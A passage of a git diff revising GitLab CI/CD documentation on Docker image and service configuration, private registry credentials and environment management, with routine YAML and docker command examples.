-- Slash (`/`) is replaced with a single dash (`-`) and the secondary alias is
- created (requires GitLab Runner v1.1.0 or higher).
-
-To override the default behavior, you can
-[specify a service alias](#available-settings-for-services).
-
-## Define `image` and `services` from `.gitlab-ci.yml`
+## Define `image` in the `.gitlab-ci.yml` file
You can define an image that's used for all jobs, and a list of
-services that you want to use during build time:
+services that you want to use during runtime:
```yaml
default:
@@ -223,232 +92,61 @@ The image name must be in one of the following formats:
- `image: <image-name>:<tag>`
- `image: <image-name>@<digest>`
-It's also possible to define different images and services per job:
-
-```yaml
-default:
- before_script:
- - bundle install
-
-test:2.6:
- image: ruby:2.6
- services:
- - postgres:11.7
- script:
- - bundle exec rake spec
-
-test:2.7:
- image: ruby:2.7
- services:
- - postgres:12.2
- script:
- - bundle exec rake spec
-```
-
-Or you can pass some [extended configuration options](#extended-docker-configuration-options)
-for `image` and `services`:
-
-```yaml
-default:
- image:
- name: ruby:2.6
- entrypoint: ["/bin/bash"]
-
- services:
- - name: my-postgres:11.7
- alias: db-postgres
- entrypoint: ["/usr/local/bin/db-postgres"]
- command: ["start"]
-
- before_script:
- - bundle install
-
-test:
- script:
- - bundle exec rake spec
-```
-
-## Passing CI/CD variables to services
-
-You can also pass custom CI/CD [variables](../variables/README.md)
-to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file.
-For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#gitlab-ciyml-defined-variables).
-
-```yaml
-# The following variables are automatically passed down to the Postgres container
-# as well as the Ruby container and available within each.
-variables:
- HTTPS_PROXY: "https://10.1.1.1:8090"
- HTTP_PROXY: "https://10.1.1.1:8090"
- POSTGRES_DB: "my_custom_db"
- POSTGRES_USER: "postgres"
- POSTGRES_PASSWORD: "example"
- PGDATA: "/var/lib/postgresql/data"
- POSTGRES_INITDB_ARGS: "--encoding=UTF8 --data-checksums"
-
-services:
- - name: postgres:11.7
- alias: db
- entrypoint: ["docker-entrypoint.sh"]
- command: ["postgres"]
-
-image:
- name: ruby:2.6
- entrypoint: ["/bin/bash"]
-
-before_script:
- - bundle install
-
-test:
- script:
- - bundle exec rake spec
-```
-
## Extended Docker configuration options
> Introduced in GitLab and GitLab Runner 9.4.
-When configuring the `image` or `services` entries, you can use a string or a map as
-options:
+You can use a string or a map for the `image` or `services` entries:
-- When using a string as an option, it must be the full name of the image to use
- (including the Registry part if you want to download the image from a Registry
+- Strings must include the full image name
+ (including the registry, if you want to download the image from a registry
other than Docker Hub).
-- When using a map as an option, then it must contain at least the `name`
- option, which is the same name of the image as used for the string setting.
+- Maps must contain at least the `name` option,
+ which is the same image name as used for the string setting.
For example, the following two definitions are equal:
-1. Using a string as an option to `image` and `services`:
+- A string for `image` and `services`:
- ```yaml
- image: "registry.example.com/my/image:latest"
-
- services:
- - postgresql:9.4
- - redis:latest
- ```
-
-1. Using a map as an option to `image` and `services`. The use of `image:name` is
- required:
-
- ```yaml
- image:
- name: "registry.example.com/my/image:latest"
-
- services:
- - name: postgresql:9.4
- - name: redis:latest
- ```
-
-### Available settings for `image`
-
-> Introduced in GitLab and GitLab Runner 9.4.
-
-| Setting | Required | GitLab version | Description |
-|------------|----------|----------------| ----------- |
-| `name` | yes, when used with any other option | 9.4 |Full name of the image to use. It should contain the Registry part if needed. |
-| `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. |
-
-### Available settings for `services`
-
-> Introduced in GitLab and GitLab Runner 9.4.
-
-| Setting | Required | GitLab version | Description |
-|------------|----------|----------------| ----------- |
-| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. It should contain the Registry part if needed. |
-| `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. |
-| `command` | no | 9.4 |Command or script that should be used as the container's command. It's translated to arguments passed to Docker after the image's name. The syntax is similar to [`Dockerfile`'s `CMD`](https://docs.docker.com/engine/reference/builder/#cmd) directive, where each shell token is a separate string in the array. |
-| `alias` (1) | no | 9.4 |Additional alias that can be used to access the service from the job's container. Read [Accessing the services](#accessing-the-services) for more information. |
-
-(1) Alias support for the Kubernetes executor was [introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2229) in GitLab Runner 12.8, and is only available for Kubernetes version 1.7 or later.
-
-### Starting multiple services from the same image
-
-> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options).
-
-Before the new extended Docker configuration options, the following configuration
-would not work properly:
-
-```yaml
-services:
- - mysql:latest
- - mysql:latest
-```
-
-The runner would start two containers, each that uses the `mysql:latest` image.
-However, both of them would be added to the job's container with the `mysql` alias, based on
-the [default hostname naming](#accessing-the-services). This would end with one
-of the services not being accessible.
-
-After the new extended Docker configuration options, the above example would
-look like:
-
-```yaml
-services:
- - name: mysql:latest
- alias: mysql-1
- - name: mysql:latest
- alias: mysql-2
-```
-
-The runner still starts two containers using the `mysql:latest` image,
-however now each of them are also accessible with the alias configured
-in `.gitlab-ci.yml` file.
-
-### Setting a command for the service
-
-> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options).
-
-Let's assume you have a `super/sql:latest` image with some SQL database
-in it. You would like to use it as a service for your job. Let's also
-assume that this image does not start the database process while starting
-the container. The user needs to manually use `/usr/bin/super-sql run` as
-a command to start the database.
-
-Before the new extended Docker configuration options, you would need to:
-
-- Create your own image based on the `super/sql:latest` image.
-- Add the default command.
-- Use the image in the job's configuration:
-
- ```dockerfile
- # my-super-sql:latest image's Dockerfile
+ ```yaml
+ image: "registry.example.com/my/image:latest"
- FROM super/sql:latest
- CMD ["/usr/bin/super-sql", "run"]
+ services:
+ - postgresql:9.4
+ - redis:latest
```
+- A map for `image` and `services`. The `image:name` is
+ required:
+
```yaml
- # .gitlab-ci.yml
+ image:
+ name: "registry.example.com/my/image:latest"
services:
- - my-super-sql:latest
+ - name: postgresql:9.4
+ - name: redis:latest
```
-After the new extended Docker configuration options, you can
-set a `command` in the `.gitlab-ci.yml` file instead:
-
-```yaml
-# .gitlab-ci.yml
+### Available settings for `image`
-services:
- - name: super/sql:latest
- command: ["/usr/bin/super-sql", "run"]
-```
+> Introduced in GitLab and GitLab Runner 9.4.
-The syntax of `command` is similar to [Dockerfile's `CMD`](https://docs.docker.com/engine/reference/builder/#cmd).
+| Setting | Required | Description |
+|------------|----------| ----------- |
+| `name` | Yes, when used with any other option. | Full name of the image. It should contain the registry part if needed. |
+| `entrypoint` | No. | Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. |
### Overriding the entrypoint of an image
-> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options).
+> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options).
-Before showing the available entrypoint override methods, let's describe
+Before explaining the available entrypoint override methods, let's describe
how the runner starts. It uses a Docker image for the containers used in the
CI/CD jobs:
-1. The runner starts a Docker container using the defined entrypoint (default
- from `Dockerfile` that may be overridden in `.gitlab-ci.yml`)
+1. The runner starts a Docker container using the defined entrypoint. The default
+ from `Dockerfile` that may be overridden in the `.gitlab-ci.yml` file.
1. The runner attaches itself to a running container.
1. The runner prepares a script (the combination of
[`before_script`](../yaml/README.md#before_script),
@@ -457,14 +155,13 @@ CI/CD jobs:
1. The runner sends the script to the container's shell `stdin` and receives the
output.
-To override the entrypoint of a Docker image, you should
-define an empty `entrypoint` in `.gitlab-ci.yml`, so the runner does not start
-a useless shell layer. However, that does not work for all Docker versions, and
-you should check which one your runner is using:
+To override the entrypoint of a Docker image,
+define an empty `entrypoint` in the `.gitlab-ci.yml` file, so the runner does not start
+a useless shell layer. However, that does not work for all Docker versions.
-- _If Docker 17.06 or later is used,_ the `entrypoint` can be set to an empty value.
-- _If Docker 17.03 or previous versions are used,_ the `entrypoint` can be set to
- `/bin/sh -c`, `/bin/bash -c` or an equivalent shell available in the image.
+- For Docker 17.06 and later, the `entrypoint` can be set to an empty value.
+- For Docker 17.03 and earlier, the `entrypoint` can be set to
+ `/bin/sh -c`, `/bin/bash -c`, or an equivalent shell available in the image.
The syntax of `image:entrypoint` is similar to [Dockerfile's `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint).
@@ -484,7 +181,7 @@ With the extended Docker configuration options, instead of:
You can now define an `entrypoint` in the `.gitlab-ci.yml` file.
-**For Docker 17.06+:**
+**For Docker 17.06 and later:**
```yaml
image:
@@ -492,7 +189,7 @@ image:
entrypoint: [""]
```
-**For Docker =< 17.03:**
+**For Docker 17.03 and earlier:**
```yaml
image:
@@ -517,40 +214,38 @@ that runner.
To access private container registries, the GitLab Runner process can use:
-- [Statically defined credentials](#using-statically-defined-credentials). That is, a username and password for a specific registry.
-- [Credentials Store](#using-credentials-store). For more information, read [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credentials-store).
-- [Credential Helpers](#using-credential-helpers). For more information, read [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credential-helpers).
+- [Statically defined credentials](#use-statically-defined-credentials). That is, a username and password for a specific registry.
+- [Credentials Store](#use-a-credentials-store). For more information, see [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credentials-store).
+- [Credential Helpers](#use-credential-helpers). For more information, see [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credential-helpers).
-To define which should be used, the GitLab Runner process reads the configuration in the following order:
+To define which option should be used, the runner process reads the configuration in this order:
-- `DOCKER_AUTH_CONFIG` variable provided as either:
- - A [CI/CD variable](../variables/README.md) in `.gitlab-ci.yml`.
- - A project's variables stored on the projects **Settings > CI/CD** page.
-- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner.
-- `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process.
- If the `--user` flag is provided to run the GitLab Runner child processes as unprivileged user,
- the home directory of the main GitLab Runner process user is used.
+- A `DOCKER_AUTH_CONFIG` variable provided as either:
+ - A [CI/CD variable](../variables/README.md) in the `.gitlab-ci.yml` file.
+ - A project's variables stored on the project's **Settings > CI/CD** page.
+- A `DOCKER_AUTH_CONFIG` variable provided as environment variable in the runner's `config.toml` file.
+- A `config.json` file in `$HOME/.docker` directory of the user running the process.
+ If the `--user` flag is provided to run the child processes as unprivileged user,
+ the home directory of the main runner process user is used.
-GitLab Runner reads this configuration **only** from `config.toml` and ignores it if
-it's provided as an environment variable. This is because GitLab Runner uses **only**
-`config.toml` configuration and does not interpolate **any** environment variables at
+The runner reads this configuration **only** from the `config.toml` file and ignores it if
+it's provided as a CI/CD variable. This is because the runner uses **only**
+`config.toml` configuration and does not interpolate **any** CI/CD variables at
runtime.
### Requirements and limitations
-- This feature requires GitLab Runner **1.8** or higher.
-- For GitLab Runner versions **>= 0.6, <1.8** there was a partial
- support for using private registries, which required manual configuration
- of credentials on runner's host. We recommend to upgrade your runner to
- at least version **1.8** if you want to use private registries.
- Available for [Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html)
in GitLab Runner 13.1 and later.
-- [Credentials Store](#using-credentials-store) and [Credential Helpers](#using-credential-helpers) require binaries to be added to the GitLab Runner's `$PATH`, and require access to do so. Therefore, these features are not available on shared runners, or any other runner where the user does not have access to the environment where the runner is installed.
+- [Credentials Store](#use-a-credentials-store) and [Credential Helpers](#use-credential-helpers)
+ require binaries to be added to the GitLab Runner `$PATH`, and require access to do so. Therefore,
+ these features are not available on shared runners, or any other runner where the user does not
+ have access to the environment where the runner is installed.
-### Using statically-defined credentials
+### Use statically-defined credentials
-There are two approaches that you can take in order to access a
-private registry. Both require setting the environment variable
+There are two approaches that you can take to access a
+private registry. Both require setting the CI/CD variable
`DOCKER_AUTH_CONFIG` with appropriate authentication information.
1. Per-job: To configure one job to access a private registry, add
@@ -561,7 +256,7 @@ private registry. Both require setting the environment variable
See below for examples of each.
-#### Determining your `DOCKER_AUTH_CONFIG` data
+#### Determine your `DOCKER_AUTH_CONFIG` data
As an example, let's assume you want to use the `registry.example.com:5000/private/image:latest`
image. This image is private and requires you to sign in to a private container
@@ -592,7 +287,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`:
docker logout registry.example.com:5000
```
-- In some setups, it's possible that Docker client uses the available system key
+- In some setups, it's possible the Docker client uses the available system key
store to store the result of `docker login`. In that case, it's impossible to
read `~/.docker/config.json`, so you must prepare the required
base64-encoded version of `${username}:${password}` and create the Docker
@@ -618,7 +313,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`:
}
```
-#### Configuring a job
+#### Configure a job
To configure a single job with access for `registry.example.com:5000`,
follow these steps:
@@ -637,7 +332,7 @@ follow these steps:
```
1. You can now use any private image from `registry.example.com:5000` defined in
- `image` and/or `services` in your `.gitlab-ci.yml` file:
+ `image` or `services` in your `.gitlab-ci.yml` file:
```yaml
image: registry.example.com:5000/namespace/image:tag
@@ -651,19 +346,19 @@ registries to the `"auths"` hash as described above.
The full `hostname:port` combination is required everywhere
for the runner to match the `DOCKER_AUTH_CONFIG`. For example, if
-`registry.example.com:5000/namespace/image:tag` is specified in `.gitlab-ci.yml`,
+`registry.example.com:5000/namespace/image:tag` is specified in the `.gitlab-ci.yml` file,
then the `DOCKER_AUTH_CONFIG` must also specify `registry.example.com:5000`.
Specifying only `registry.example.com` does not work.
### Configuring a runner
-If you have many pipelines that access the same registry, it is
-probably better to set up registry access at the runner level. This
+If you have many pipelines that access the same registry, you should
+set up registry access at the runner level. This
allows pipeline authors to have access to a private registry just by
-running a job on the appropriate runner. It also makes registry
-changes and credential rotations much simpler.
+running a job on the appropriate runner. It also helps simplify registry
+changes and credential rotations.
-Of course this means that any job on that runner can access the
+This means that any job on that runner can access the
registry with the same privilege, even across projects. If you need to
control access to the registry, you need to be sure to control
access to the runner.
@@ -686,14 +381,12 @@ To add `DOCKER_AUTH_CONFIG` to a runner:
1. Restart the runner service.
-### Using Credentials Store
-
-> Support for using Credentials Store was added in GitLab Runner 9.5.
+### Use a Credentials Store
-To configure credentials store, follow these steps:
+To configure a Credentials Store:
-1. To use a credentials store, you need an external helper program to interact with a specific keychain or external store.
- Make sure the helper program is available in GitLab Runner `$PATH`.
+1. To use a Credentials Store, you need an external helper program to interact with a specific keychain or external store.
+ Make sure the helper program is available in the GitLab Runner `$PATH`.
1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
@@ -716,16 +409,16 @@ To configure credentials store, follow these steps:
If you use both images from a private registry and public images from Docker Hub,
pulling from Docker Hub fails. Docker daemon tries to use the same credentials for **all** the registries.
-### Using Credential Helpers
+### Use Credential Helpers
-> Support for using Credential Helpers was added in GitLab Runner 12.0
+> Introduced in GitLab Runner 12.0.
As an example, let's assume that you want to use the `aws_account_id.dkr.ecr.region.amazonaws.com/private/image:latest`
image. This image is private and requires you to log in into a private container registry.
To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow these steps:
-1. Make sure `docker-credential-ecr-login` is available in GitLab Runner's `$PATH`.
+1. Make sure `docker-credential-ecr-login` is available in the GitLab Runner `$PATH`.
1. Have any of the following [AWS credentials setup](https://github.com/awslabs/amazon-ecr-credential-helper#aws-credentials).
Make sure that GitLab Runner can access the credentials.
1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
@@ -742,9 +435,9 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th
}
```
- This configures Docker to use the credential helper for a specific registry.
+ This configures Docker to use the Credential Helper for a specific registry.
- or
+ Instead, you can configure Docker to use the Credential Helper for all Amazon Elastic Container Registry (ECR) registries:
```json
{
@@ -752,10 +445,8 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th
}
```
- This configures Docker to use the credential helper for all Amazon Elastic Container Registry (ECR) registries.
-
- Or, if you're running self-managed runners,
- add the above JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`.
+ add the previous JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`.
GitLab Runner reads this configuration file and uses the needed helper for this
specific repository.
@@ -766,101 +457,8 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th
image: aws_account_id.dkr.ecr.region.amazonaws.com/private/image:latest
```
- In the example above, GitLab Runner looks at `aws_account_id.dkr.ecr.region.amazonaws.com` for the
+ In the example, GitLab Runner looks at `aws_account_id.dkr.ecr.region.amazonaws.com` for the
image `private/image:latest`.
You can add configuration for as many registries as you want, adding more
-registries to the `"credHelpers"` hash as described above.
-
-## Configuring services
-
-Many services accept environment variables, which you can use to change
-database names or set account names, depending on the environment.
-
-GitLab Runner 0.5.0 and up passes all YAML-defined CI/CD variables to the created
-service containers.
-
-For all possible configuration variables, check the documentation of each image
-provided in their corresponding Docker hub page.
-
-All CI/CD variables are passed to all services containers. It's not
-designed to distinguish which variable should go where.
-
-### PostgreSQL service example
-
-Read the specific documentation for
-[using PostgreSQL as a service](../services/postgres.md).
-
-### MySQL service example
-
-Read the specific documentation for
-[using MySQL as a service](../services/mysql.md).
-
-## How Docker integration works
-
-Below is a high level overview of the steps performed by Docker during job
-time.
-
-1. Create any service container: `mysql`, `postgresql`, `mongodb`, `redis`.
-1. Create a cache container to store all volumes as defined in `config.toml` and
- `Dockerfile` of build image (`ruby:2.6` as in above example).
-1. Create a build container and link any service container to build container.
-1. Start the build container, and send a job script to the container.
-1. Run the job script.
-1. Checkout code in: `/builds/group-name/project-name/`.
-1. Run any step defined in `.gitlab-ci.yml`.
-1. Check the exit status of build script.
-1. Remove the build container and all created service containers.
-
-## How to debug a job locally
-
-The following commands are run without root privileges. You should be
-able to run Docker with your regular user account.
-
-First start with creating a file named `build_script`:
-
-```shell
-cat <<EOF > build_script
-git clone https://gitlab.com/gitlab-org/gitlab-runner.git /builds/gitlab-org/gitlab-runner
-cd /builds/gitlab-org/gitlab-runner
-make
-EOF
-```
-
-Here we use as an example the GitLab Runner repository which contains a
-Makefile, so running `make` executes the commands defined in the Makefile.
-Instead of `make`, you could run the command which is specific to your project.
-
-Then create some service containers:
-
-```shell
-docker run -d --name service-mysql mysql:latest
-docker run -d --name service-postgres postgres:latest
-```
-
-This creates two service containers, named `service-mysql` and
-`service-postgres` which use the latest MySQL and PostgreSQL images
-respectively. They both run in the background (`-d`).
-
-Finally, create a build container by executing the `build_script` file we
-created earlier:
-
-```shell
-docker run --name build -i --link=service-mysql:mysql --link=service-postgres:postgres ruby:2.6 /bin/bash < build_script
-```
-
-The above command creates a container named `build` that's spawned from
-the `ruby:2.6` image and has two services linked to it. The `build_script` is
-piped using `stdin` to the bash interpreter which in turn executes the
-`build_script` in the `build` container.
-
-When you finish testing and no longer need the containers, you can remove them
-with:
-
-```shell
-docker rm -f -v build service-mysql service-postgres
-```
-
-This forcefully (`-f`) removes the `build` container, the two service
-containers, and all volumes (`-v`) that were created with the container
-creation.
+registries to the `"credHelpers"` hash.
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index 358117ed796..e38d9031ffd 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -110,7 +110,7 @@ for an explanation of these roles and the permissions of each.
Production secrets are needed to deploy successfully. For example, when deploying to the cloud,
cloud providers require these secrets to connect to their services. In the project settings, you can
-define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-custom-variable)
+define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-cicd-variable)
are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md)
or [protected tags](../../user/project/protected_tags.md).
The other pipelines don't get the protected variable. You can also
diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md
index ef222ba5779..4ee9aa9a5ba 100644
--- a/doc/ci/environments/environments_dashboard.md
+++ b/doc/ci/environments/environments_dashboard.md
@@ -17,7 +17,7 @@ from development to staging, and then to production (or
through any series of custom environment flows you can set up).
With an at-a-glance view of multiple projects, you can instantly
see which pipelines are green and which are red allowing you to
-diagnose if there is a block at a particular point, or if there’s
+diagnose if there is a block at a particular point, or if there's
a more systemic problem you need to investigate.
You can access the dashboard from the top bar by clicking
diff --git a/doc/ci/environments/img/environment_auto_stop_v13_10.png b/doc/ci/environments/img/environment_auto_stop_v13_10.png
index 1525f670ff2..50f268da27f 100644
--- a/doc/ci/environments/img/environment_auto_stop_v13_10.png
+++ b/doc/ci/environments/img/environment_auto_stop_v13_10.png
Binary files differ
diff --git a/doc/ci/environments/img/environments_dynamic_groups_v13_10.png b/doc/ci/environments/img/environments_dynamic_groups_v13_10.png
index cf3f9f7c781..c17d75a0912 100644
--- a/doc/ci/environments/img/environments_dynamic_groups_v13_10.png
+++ b/doc/ci/environments/img/environments_dynamic_groups_v13_10.png
Binary files differ
diff --git a/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png b/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png
index 13c8d1cd523..4a9a4e65d00 100644
--- a/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png
+++ b/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png
Binary files differ
diff --git a/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png b/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png
index fcc3e2b6631..e725720846a 100644
--- a/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png
+++ b/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png
Binary files differ
diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md
index abb12852fac..55d83887423 100644
--- a/doc/ci/environments/index.md
+++ b/doc/ci/environments/index.md
@@ -6,9 +6,7 @@ type: reference
disqus_identifier: 'https://docs.gitlab.com/ee/ci/environments.html'
---
-# Environments and deployments
-
-> Introduced in GitLab 8.9.
+# Environments and deployments **(FREE)**
Environments describe where code is deployed.
@@ -123,29 +121,28 @@ Some variables cannot be used as environment names or URLs.
For more information about the `environment` keywords, see
[the `.gitlab-ci.yml` keyword reference](../yaml/README.md#environment).
-## Deployment tier of environments (**FREE**)
+## Deployment tier of environments
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10.
-There are cases where you might want to use a code name as an environment name instead of using
-an [industry standard](https://en.wikipedia.org/wiki/Deployment_environment). For example, your environment might be called `customer-portal` instead of `production`.
-This is perfectly fine, however, it loses information that the specific
-environment is used as production.
+Sometimes, instead of using an [industry standard](https://en.wikipedia.org/wiki/Deployment_environment)
+environment name, like `production`, you might want to use a code name, like `customer-portal`.
+While there is no technical reason not to use a name like `customer-portal`, the name
+no longer indicates that the environment is used for production.
-To keep information that a specific environment is for production or
-some other use, you can set one of the following tiers to each environment:
+To indicate that a specific environment is for a specific use,
+you can use tiers:
-| Environment tier | Environment names examples |
-| ---- | -------- |
-| `production` | Production, Live |
-| `staging` | Staging, Model, Pre, Demo |
-| `testing` | Test, QC |
-| `development` | Dev, [Review apps](../review_apps/index.md), Trunk |
-| `other` | |
+| Environment tier | Environment name examples |
+|------------------|----------------------------------------------------|
+| `production` | Production, Live |
+| `staging` | Staging, Model, Pre, Demo |
+| `testing` | Test, QC |
+| `development` | Dev, [Review apps](../review_apps/index.md), Trunk |
+| `other` | |
-By default, an approximate tier is automatically guessed and set from [the environment name](../yaml/README.md#environmentname).
-Alternatively, you can specify a specific tier with `deployment_tier` keyword,
-see the [`.gitlab-ci.yml` syntax reference](../yaml/README.md#environmentdeployment_tier) for more details.
+By default, GitLab assumes a tier based on [the environment name](../yaml/README.md#environmentname).
+Instead, you can use the [`deployment_tier` keyword](../yaml/README.md#environmentdeployment_tier) to specify a tier.
## Configure manual deployments
@@ -208,8 +205,8 @@ deploy:
```
When you use the GitLab Kubernetes integration to deploy to a Kubernetes cluster,
-cluster and namespace information is displayed above the job
-trace on the deployment job page:
+you can view cluster and namespace information. On the deployment
+job page, it's displayed above the job trace:
![Deployment cluster information](../img/environments_deployment_cluster_v12_8.png)
@@ -253,7 +250,7 @@ GitLab supports the [dotenv (`.env`)](https://github.com/bkeepers/dotenv) file f
and expands the `environment:url` value with variables defined in the `.env` file.
To use this feature, specify the
-[`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`.
+[`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, see [Set dynamic URLs after a job finished](https://youtu.be/70jDXtOf4Ig).
@@ -261,7 +258,7 @@ For an overview, see [Set dynamic URLs after a job finished](https://youtu.be/70
### Example of setting dynamic environment URLs
The following example shows a Review App that creates a new environment
-per merge request. The `review` job is triggered by every push, and
+for each merge request. The `review` job is triggered by every push, and
creates or updates an environment named `review/your-branch-name`.
The environment URL is set to `$DYNAMIC_ENVIRONMENT_URL`:
@@ -349,7 +346,7 @@ places in GitLab:
You can see this information in a merge request if:
-- The merge request is eventually merged to the default branch (usually `master`).
+- The merge request is eventually merged to the default branch (usually `main`).
- That branch also deploys to an environment (for example, `staging` or `production`).
For example:
@@ -377,13 +374,7 @@ deleted.
You can configure environments to stop when a branch is deleted.
The following example shows a `deploy_review` job that calls a `stop_review` job
-to clean up and stop the environment. The `stop_review` job must be in the same
-`stage` as the `deploy_review` job.
-
-Both jobs must have the same [`rules`](../yaml/README.md#onlyexcept-basic)
-or [`only/except`](../yaml/README.md#onlyexcept-basic) configuration. Otherwise,
-the `stop_review` job might not be included in all pipelines that include the
-`deploy_review` job, and you cannot trigger `action: stop` to stop the environment automatically.
+to clean up and stop the environment.
```yaml
deploy_review:
@@ -409,6 +400,14 @@ stop_review:
when: manual
```
+Both jobs must have the same [`rules`](../yaml/README.md#onlyexcept-basic)
+or [`only/except`](../yaml/README.md#onlyexcept-basic) configuration. Otherwise,
+the `stop_review` job might not be included in all pipelines that include the
+`deploy_review` job, and you cannot trigger `action: stop` to stop the environment automatically.
+
+The job with [`action: stop` might not run](#the-job-with-action-stop-doesnt-run)
+if it's in a later stage than the job that started the environment.
+
If you can't use [pipelines for merge requests](../merge_request_pipelines/index.md),
set the [`GIT_STRATEGY`](../runners/README.md#git-strategy) to `none` in the
`stop_review` job. Then the [runner](https://docs.gitlab.com/runner/) doesn't
@@ -430,7 +429,7 @@ Due to resource limitations, a background worker for stopping environments only
every hour. This means that environments aren't stopped at the exact timestamp specified, but are
instead stopped when the hourly cron worker detects expired environments.
-In the following example, each merge request creates a new Review App environment.
+In the following example, each merge request creates a Review App environment.
Each push triggers the `review_app` job and an environment named `review/your-branch-name`
is created or updated. The environment runs until `stop_review_app` is executed:
@@ -477,7 +476,7 @@ You can manually override a deployment's expiration date.
1. Go to the project's **Operations > Environments** page.
1. Select the deployment name.
-1. In the top right, select the thumbtack (**{thumbtack}**).
+1. On the top right, select the thumbtack (**{thumbtack}**).
![Environment auto stop](img/environment_auto_stop_v13_10.png)
@@ -497,19 +496,17 @@ To delete a stopped environment in the GitLab UI:
1. Next to the environment you want to delete, select **Delete environment**.
1. On the confirmation dialog box, select **Delete environment**.
-### Prepare an environment
+### Prepare an environment without creating a deployment
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208655) in GitLab 13.2.
-By default, GitLab creates a deployment every time a
-build with the specified environment runs. Newer deployments can also
-[cancel older ones](deployment_safety.md#skip-outdated-deployment-jobs).
+By default, when GitLab CI/CD runs a job for a specific environment, it
+triggers a deployment and [(optionally) cancels outdated
+deployments](deployment_safety.md#ensure-only-one-deployment-job-runs-at-a-time).
-You may want to specify an environment keyword to
-[protect builds from unauthorized access](protected_environments.md), or to get
-access to [environment-scoped variables](#scoping-environments-with-specs). In these cases,
-you can use the `action: prepare` keyword to ensure deployments aren't created,
-and no builds are canceled:
+To use an environment without creating a new deployment, and without
+cancelling outdated deployments, append the keyword `action: prepare` to your
+job:
```yaml
build:
@@ -522,9 +519,10 @@ build:
url: https://staging.example.com
```
-### Group similar environments
+This gives you access to [environment-scoped variables](#scoping-environments-with-specs),
+and can be used to [protect builds from unauthorized access](protected_environments.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7015) in GitLab 8.14.
+### Group similar environments
You can group environments into collapsible sections in the UI.
@@ -547,10 +545,9 @@ deploy_review:
### Environment incident management
-You have successfully setup a Continuous Delivery/Deployment workflow in your project.
Production environments can go down unexpectedly, including for reasons outside
-of your own control. For example, issues with external dependencies, infrastructure,
-or human error can cause major issues with an environment. This could include:
+of your control. For example, issues with external dependencies, infrastructure,
+or human error can cause major issues with an environment. Things like:
- A dependent cloud service goes down.
- A 3rd party library is updated and it's not compatible with your application.
@@ -572,7 +569,7 @@ severity is shown, so you can identify which environments need immediate attenti
![Environment alert](img/alert_for_environment.png)
When the issue that triggered the alert is resolved, it is removed and is no
-longer visible on the environment page.
+longer visible on the environments page.
If the alert requires a [rollback](#retry-or-roll-back-a-deployment), you can select the
deployment tab from the environment page and select which deployment to roll back to.
@@ -584,7 +581,7 @@ deployment tab from the environment page and select which deployment to roll bac
In a typical Continuous Deployment workflow, the CI pipeline tests every commit before deploying to
production. However, problematic code can still make it to production. For example, inefficient code
that is logically correct can pass tests even though it causes severe performance degradation.
